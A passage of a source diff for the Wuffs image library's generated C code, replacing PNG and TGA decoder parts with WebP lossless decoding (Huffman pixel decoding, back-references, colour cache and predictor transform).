(self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_h = (((uint32_t)(v_node)) + (self->private_impl.f_bits & 1u)); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ } -+ v_pixel_g = ((uint32_t)(((uint16_t)(v_node & 32767u)))); -+ if (v_pixel_g < 256u) { -+ v_color = (v_pixel_g << 8u); -+ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[1u])); -+ while (true) { -+ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; -+ if (v_node >= 32768u) { -+ break; -+ } -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- } else { -- if (3u <= ((uint64_t)(v_s.len))) { -- v_bits_unpacked[0u] = v_s.ptr[2u]; -- v_bits_unpacked[1u] = v_s.ptr[1u]; -- v_bits_unpacked[2u] = v_s.ptr[0u]; -- v_bits_unpacked[3u] = 255u; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 3u); -- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | -- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | -- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | -- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { -- v_bits_unpacked[0u] = 0u; -- v_bits_unpacked[1u] = 0u; -- v_bits_unpacked[2u] = 0u; -- v_bits_unpacked[3u] = 0u; -- } -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ } -+ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 16u); -+ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[2u])); -+ while (true) { -+ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; -+ if (v_node >= 32768u) { -+ break; -+ } -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; - } -- } else if (v_src_bytes_per_pixel <= ((uint64_t)(v_s.len))) { -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__slice_u8__subslice_j(v_s, v_src_bytes_per_pixel)); -- v_s = wuffs_base__slice_u8__subslice_i(v_s, v_src_bytes_per_pixel); -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; - } -+ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; - } -- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); -- } -- } else if (self->private_impl.f_depth < 8u) { -- v_multiplier = 1u; -- if (self->private_impl.f_color_type == 0u) { -- v_multiplier = WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[self->private_impl.f_depth]; -- } -- v_shift = ((8u - self->private_impl.f_depth) & 7u); -- v_packs_remaining = 0u; -- while (v_x < self->private_impl.f_frame_rect_x1) { -- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); -- if (v_i <= ((uint64_t)(v_dst.len))) { -- if ((v_packs_remaining == 0u) && (1u <= ((uint64_t)(v_s.len)))) { -- v_packs_remaining = WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[self->private_impl.f_depth]; -- v_bits_packed = v_s.ptr[0u]; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); -+ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 0u); -+ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[3u])); -+ while (true) { -+ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; -+ if (v_node >= 32768u) { -+ break; - } -- v_bits_unpacked[0u] = ((uint8_t)((v_bits_packed >> v_shift) * v_multiplier)); -- v_bits_packed = ((uint8_t)(v_bits_packed << self->private_impl.f_depth)); -- v_packs_remaining = ((uint8_t)(v_packs_remaining - 1u)); -- if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { -- v_bits_unpacked[1u] = v_bits_unpacked[0u]; -- v_bits_unpacked[2u] = v_bits_unpacked[0u]; -- v_bits_unpacked[3u] = 255u; -- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | -- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | -- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | -- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { -- v_bits_unpacked[0u] = 0u; -- v_bits_unpacked[1u] = 0u; -- v_bits_unpacked[2u] = 0u; -- v_bits_unpacked[3u] = 0u; -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; - } -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); -- } else { -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 1)); -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; - } -+ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; - } -- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); -- } -- } else { -- while (v_x < self->private_impl.f_frame_rect_x1) { -- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); -- if (v_i <= ((uint64_t)(v_dst.len))) { -- if (self->private_impl.f_color_type == 0u) { -- if (2u <= ((uint64_t)(v_s.len))) { -- v_bits_unpacked[0u] = v_s.ptr[1u]; -- v_bits_unpacked[1u] = v_s.ptr[0u]; -- v_bits_unpacked[2u] = v_s.ptr[1u]; -- v_bits_unpacked[3u] = v_s.ptr[0u]; -- v_bits_unpacked[4u] = v_s.ptr[1u]; -- v_bits_unpacked[5u] = v_s.ptr[0u]; -- v_bits_unpacked[6u] = 255u; -- v_bits_unpacked[7u] = 255u; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); -- if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | -- (((uint64_t)(v_bits_unpacked[1u])) << 8u) | -- (((uint64_t)(v_bits_unpacked[2u])) << 16u) | -- (((uint64_t)(v_bits_unpacked[3u])) << 24u) | -- (((uint64_t)(v_bits_unpacked[4u])) << 32u) | -- (((uint64_t)(v_bits_unpacked[5u])) << 40u) | -- (((uint64_t)(v_bits_unpacked[6u])) << 48u) | -- (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { -- v_bits_unpacked[0u] = 0u; -- v_bits_unpacked[1u] = 0u; -- v_bits_unpacked[2u] = 0u; -- v_bits_unpacked[3u] = 0u; -- v_bits_unpacked[4u] = 0u; -- v_bits_unpacked[5u] = 0u; -- v_bits_unpacked[6u] = 0u; -- v_bits_unpacked[7u] = 0u; -+ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 24u); -+ } else if (v_pixel_g < 280u) { -+ if (v_pixel_g < 260u) { -+ v_back_ref_len_minus_1 = (v_pixel_g - 256u); -+ } else { -+ v_back_ref_len_n_bits = ((v_pixel_g - 258u) >> 1u); -+ v_back_ref_len_minus_1 = ((((uint32_t)(2u)) + (v_pixel_g & 1u)) << v_back_ref_len_n_bits); -+ while (self->private_impl.f_n_bits < v_back_ref_len_n_bits) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; - } -- } else if (self->private_impl.f_color_type == 2u) { -- if (6u <= ((uint64_t)(v_s.len))) { -- v_bits_unpacked[0u] = v_s.ptr[5u]; -- v_bits_unpacked[1u] = v_s.ptr[4u]; -- v_bits_unpacked[2u] = v_s.ptr[3u]; -- v_bits_unpacked[3u] = v_s.ptr[2u]; -- v_bits_unpacked[4u] = v_s.ptr[1u]; -- v_bits_unpacked[5u] = v_s.ptr[0u]; -- v_bits_unpacked[6u] = 255u; -- v_bits_unpacked[7u] = 255u; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); -- if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | -- (((uint64_t)(v_bits_unpacked[1u])) << 8u) | -- (((uint64_t)(v_bits_unpacked[2u])) << 16u) | -- (((uint64_t)(v_bits_unpacked[3u])) << 24u) | -- (((uint64_t)(v_bits_unpacked[4u])) << 32u) | -- (((uint64_t)(v_bits_unpacked[5u])) << 40u) | -- (((uint64_t)(v_bits_unpacked[6u])) << 48u) | -- (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { -- v_bits_unpacked[0u] = 0u; -- v_bits_unpacked[1u] = 0u; -- v_bits_unpacked[2u] = 0u; -- v_bits_unpacked[3u] = 0u; -- v_bits_unpacked[4u] = 0u; -- v_bits_unpacked[5u] = 0u; -- v_bits_unpacked[6u] = 0u; -- v_bits_unpacked[7u] = 0u; -+ if (self->private_impl.f_n_bits >= v_back_ref_len_n_bits) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_back_ref_len_minus_1 += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_back_ref_len_n_bits) - 1u)); -+ self->private_impl.f_bits >>= v_back_ref_len_n_bits; -+ self->private_impl.f_n_bits -= v_back_ref_len_n_bits; -+ } -+ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[4u])); -+ while (true) { -+ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; -+ if (v_node >= 32768u) { -+ break; -+ } -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; - } -- } else if (self->private_impl.f_color_type == 4u) { -- if (4u <= ((uint64_t)(v_s.len))) { -- v_bits_unpacked[0u] = v_s.ptr[1u]; -- v_bits_unpacked[1u] = v_s.ptr[0u]; -- v_bits_unpacked[2u] = v_s.ptr[1u]; -- v_bits_unpacked[3u] = v_s.ptr[0u]; -- v_bits_unpacked[4u] = v_s.ptr[1u]; -- v_bits_unpacked[5u] = v_s.ptr[0u]; -- v_bits_unpacked[6u] = v_s.ptr[3u]; -- v_bits_unpacked[7u] = v_s.ptr[2u]; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ } -+ v_back_ref_dist_sym = ((uint32_t)(((uint16_t)(v_node & 32767u)))); -+ if (v_back_ref_dist_sym < 4u) { -+ v_back_ref_dist_premap_minus_1 = v_back_ref_dist_sym; -+ } else if (v_back_ref_dist_sym < 40u) { -+ v_back_ref_dist_n_bits = ((v_back_ref_dist_sym - 2u) >> 1u); -+ v_back_ref_dist_premap_minus_1 = ((((uint32_t)(2u)) + (v_back_ref_dist_sym & 1u)) << v_back_ref_dist_n_bits); -+ while (self->private_impl.f_n_bits < v_back_ref_dist_n_bits) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; - } -- } else { -- if (8u <= ((uint64_t)(v_s.len))) { -- v_bits_unpacked[0u] = v_s.ptr[5u]; -- v_bits_unpacked[1u] = v_s.ptr[4u]; -- v_bits_unpacked[2u] = v_s.ptr[3u]; -- v_bits_unpacked[3u] = v_s.ptr[2u]; -- v_bits_unpacked[4u] = v_s.ptr[1u]; -- v_bits_unpacked[5u] = v_s.ptr[0u]; -- v_bits_unpacked[6u] = v_s.ptr[7u]; -- v_bits_unpacked[7u] = v_s.ptr[6u]; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); -+ if (self->private_impl.f_n_bits >= v_back_ref_dist_n_bits) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; - } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; - } -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 8)); -+ v_back_ref_dist_premap_minus_1 += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_back_ref_dist_n_bits) - 1u)); -+ self->private_impl.f_bits >>= v_back_ref_dist_n_bits; -+ self->private_impl.f_n_bits -= v_back_ref_dist_n_bits; - } -- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); -+ if (v_back_ref_dist_premap_minus_1 >= 120u) { -+ v_back_ref_dist_minus_1 = (v_back_ref_dist_premap_minus_1 - 120u); -+ } else { -+ v_dm = ((uint32_t)(WUFFS_WEBP__DISTANCE_MAP[v_back_ref_dist_premap_minus_1])); -+ v_dy = (v_dm >> 4u); -+ v_dx = ((uint32_t)(7u - (v_dm & 15u))); -+ v_back_ref_dist_minus_1 = ((uint32_t)((a_width * v_dy) + v_dx)); -+ } -+ v_p_end = (v_p + ((uint64_t)(((v_back_ref_len_minus_1 + 1u) * 4u)))); -+ v_dist4 = ((((uint64_t)(v_back_ref_dist_minus_1)) * 4u) + 4u); -+ if ((v_p_end > v_p_max) || (v_p_end > ((uint64_t)(a_dst.len))) || (v_p < v_dist4)) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_back_reference); -+ goto exit; -+ } -+ v_q = (v_p - v_dist4); -+ while ((v_q < v_p) && (v_p < v_p_end)) { -+ a_dst.ptr[v_p] = a_dst.ptr[v_q]; -+ v_p += 1u; -+ v_q += 1u; -+ } -+ v_x += (v_back_ref_len_minus_1 + 1u); -+ while (v_x >= a_width) { -+ v_x -= a_width; -+ v_y += 1u; -+ } -+ continue; -+ } else { -+ if ((v_color_cache_p > v_p) || (v_p > ((uint64_t)(a_dst.len)))) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); -+ goto exit; -+ } -+ v_color_cache_pixels = wuffs_base__slice_u8__subslice_ij(a_dst, v_color_cache_p, v_p); -+ v_color_cache_p = v_p; -+ v_color_cache_shift = ((32u - self->private_impl.f_color_cache_bits) & 31u); -+ while (((uint64_t)(v_color_cache_pixels.len)) >= 4u) { -+ v_color = wuffs_base__peek_u32le__no_bounds_check(v_color_cache_pixels.ptr); -+ self->private_data.f_color_cache[((((uint32_t)(v_color * 506832829u)) >> v_color_cache_shift) & 2047u)] = v_color; -+ v_color_cache_pixels = wuffs_base__slice_u8__subslice_i(v_color_cache_pixels, 4u); -+ } -+ v_color = self->private_data.f_color_cache[((v_pixel_g - 280u) & 2047u)]; -+ } -+ if (v_p > ((uint64_t)(a_dst.len))) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); -+ goto exit; -+ } -+ v_dst_pixel = wuffs_base__slice_u8__subslice_i(a_dst, v_p); -+ if (((uint64_t)(v_dst_pixel.len)) < 4u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); -+ goto exit; -+ } -+ wuffs_base__poke_u32le__no_bounds_check(v_dst_pixel.ptr, v_color); -+ v_p += 4u; -+ v_x += 1u; -+ if (v_x == a_width) { -+ v_x = 0u; -+ v_y += 1u; - } - } -- v_prev_row = v_curr_row; -- v_y += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u]); -- } -- return wuffs_base__make_status(NULL); --} - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) -+ goto ok; -+ ok: -+ self->private_impl.p_decode_pixels_slow = 0; -+ goto exit; -+ } - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_pixels_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_pixels_slow.v_p = v_p; -+ self->private_data.s_decode_pixels_slow.v_p_max = v_p_max; -+ self->private_data.s_decode_pixels_slow.v_tile_size_log2 = v_tile_size_log2; -+ self->private_data.s_decode_pixels_slow.v_width_in_tiles = v_width_in_tiles; -+ self->private_data.s_decode_pixels_slow.v_x = v_x; -+ self->private_data.s_decode_pixels_slow.v_y = v_y; -+ self->private_data.s_decode_pixels_slow.v_hg = v_hg; -+ self->private_data.s_decode_pixels_slow.v_node = v_node; -+ self->private_data.s_decode_pixels_slow.v_color = v_color; -+ self->private_data.s_decode_pixels_slow.v_back_ref_len_n_bits = v_back_ref_len_n_bits; -+ self->private_data.s_decode_pixels_slow.v_back_ref_len_minus_1 = v_back_ref_len_minus_1; -+ self->private_data.s_decode_pixels_slow.v_back_ref_dist_n_bits = v_back_ref_dist_n_bits; -+ self->private_data.s_decode_pixels_slow.v_back_ref_dist_premap_minus_1 = v_back_ref_dist_premap_minus_1; -+ self->private_data.s_decode_pixels_slow.v_color_cache_p = v_color_cache_p; - --// ---------------- Status Codes Implementations -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } - --const char wuffs_tga__error__bad_header[] = "#tga: bad header"; --const char wuffs_tga__error__bad_run_length_encoding[] = "#tga: bad run length encoding"; --const char wuffs_tga__error__truncated_input[] = "#tga: truncated input"; --const char wuffs_tga__error__unsupported_tga_file[] = "#tga: unsupported TGA file"; -+ return status; -+} - --// ---------------- Private Consts -+// -------- func webp.decoder.apply_transform_predictor - --// ---------------- Private Initializer Prototypes -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_predictor( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix, -+ wuffs_base__slice_u8 a_tile_data) { -+ uint64_t v_w4 = 0; -+ wuffs_base__slice_u8 v_prev_row = {0}; -+ wuffs_base__slice_u8 v_curr_row = {0}; -+ uint32_t v_tile_size_log2 = 0; -+ uint32_t v_tiles_per_row = 0; -+ uint32_t v_mask = 0; -+ uint32_t v_y = 0; -+ uint32_t v_x = 0; -+ uint64_t v_t = 0; -+ wuffs_base__slice_u8 v_tile_data = {0}; -+ uint8_t v_mode = 0; -+ uint32_t v_l0 = 0; -+ uint32_t v_l1 = 0; -+ uint32_t v_l2 = 0; -+ uint32_t v_l3 = 0; -+ uint32_t v_c0 = 0; -+ uint32_t v_c1 = 0; -+ uint32_t v_c2 = 0; -+ uint32_t v_c3 = 0; -+ uint32_t v_t0 = 0; -+ uint32_t v_t1 = 0; -+ uint32_t v_t2 = 0; -+ uint32_t v_t3 = 0; -+ uint32_t v_sum_l = 0; -+ uint32_t v_sum_t = 0; -+ -+ if ((self->private_impl.f_width <= 0u) || (self->private_impl.f_height <= 0u)) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_w4 = ((uint64_t)((self->private_impl.f_width * 4u))); -+ v_curr_row = wuffs_base__utility__empty_slice_u8(); -+ if (v_w4 <= ((uint64_t)(a_pix.len))) { -+ v_curr_row = wuffs_base__slice_u8__subslice_j(a_pix, v_w4); -+ } -+ if (((uint64_t)(v_curr_row.len)) >= 4u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[3u] += 255u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ while (((uint64_t)(v_curr_row.len)) >= 8u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += v_curr_row.ptr[0u]; -+ v_curr_row.ptr[5u] += v_curr_row.ptr[1u]; -+ v_curr_row.ptr[6u] += v_curr_row.ptr[2u]; -+ v_curr_row.ptr[7u] += v_curr_row.ptr[3u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_curr_row = wuffs_base__slice_u8__subslice_i(v_curr_row, 4u); -+ } -+ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[0u])); -+ v_tiles_per_row = ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); -+ v_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); -+ v_y = 1u; -+ while (v_y < self->private_impl.f_height) { -+ v_t = ((uint64_t)((4u * (v_y >> v_tile_size_log2) * v_tiles_per_row))); -+ v_tile_data = wuffs_base__utility__empty_slice_u8(); -+ if (v_t <= ((uint64_t)(a_tile_data.len))) { -+ v_tile_data = wuffs_base__slice_u8__subslice_i(a_tile_data, v_t); -+ if (((uint64_t)(v_tile_data.len)) >= 4u) { -+ v_mode = ((uint8_t)(v_tile_data.ptr[1u] & 15u)); -+ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); -+ } -+ } -+ if (v_w4 <= ((uint64_t)(a_pix.len))) { -+ v_prev_row = a_pix; -+ a_pix = wuffs_base__slice_u8__subslice_i(a_pix, v_w4); -+ v_curr_row = a_pix; -+ } -+ if ((((uint64_t)(v_prev_row.len)) >= 4u) && (((uint64_t)(v_curr_row.len)) >= 4u)) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[0u] += v_prev_row.ptr[0u]; -+ v_curr_row.ptr[1u] += v_prev_row.ptr[1u]; -+ v_curr_row.ptr[2u] += v_prev_row.ptr[2u]; -+ v_curr_row.ptr[3u] += v_prev_row.ptr[3u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ v_x = 1u; -+ while (v_x < self->private_impl.f_width) { -+ if (((v_x & v_mask) == 0u) && (((uint64_t)(v_tile_data.len)) >= 4u)) { -+ v_mode = ((uint8_t)(v_tile_data.ptr[1u] & 15u)); -+ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); -+ } -+ if ((((uint64_t)(v_prev_row.len)) < 12u) || (((uint64_t)(v_curr_row.len)) < 8u)) { -+ break; -+ } -+ if (v_mode == 0u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[7u] += 255u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 1u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += v_curr_row.ptr[0u]; -+ v_curr_row.ptr[5u] += v_curr_row.ptr[1u]; -+ v_curr_row.ptr[6u] += v_curr_row.ptr[2u]; -+ v_curr_row.ptr[7u] += v_curr_row.ptr[3u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 2u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += v_prev_row.ptr[4u]; -+ v_curr_row.ptr[5u] += v_prev_row.ptr[5u]; -+ v_curr_row.ptr[6u] += v_prev_row.ptr[6u]; -+ v_curr_row.ptr[7u] += v_prev_row.ptr[7u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 3u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += v_prev_row.ptr[8u]; -+ v_curr_row.ptr[5u] += v_prev_row.ptr[9u]; -+ v_curr_row.ptr[6u] += v_prev_row.ptr[10u]; -+ v_curr_row.ptr[7u] += v_prev_row.ptr[11u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 4u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += v_prev_row.ptr[0u]; -+ v_curr_row.ptr[5u] += v_prev_row.ptr[1u]; -+ v_curr_row.ptr[6u] += v_prev_row.ptr[2u]; -+ v_curr_row.ptr[7u] += v_prev_row.ptr[3u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 5u) { -+ v_l0 = ((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u); -+ v_l1 = ((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u); -+ v_l2 = ((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u); -+ v_l3 = ((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(((v_l0 + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); -+ v_curr_row.ptr[5u] += ((uint8_t)(((v_l1 + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); -+ v_curr_row.ptr[6u] += ((uint8_t)(((v_l2 + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); -+ v_curr_row.ptr[7u] += ((uint8_t)(((v_l3 + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 6u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[0u]))) / 2u))); -+ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[1u]))) / 2u))); -+ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[2u]))) / 2u))); -+ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[3u]))) / 2u))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (v_mode == 7u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push 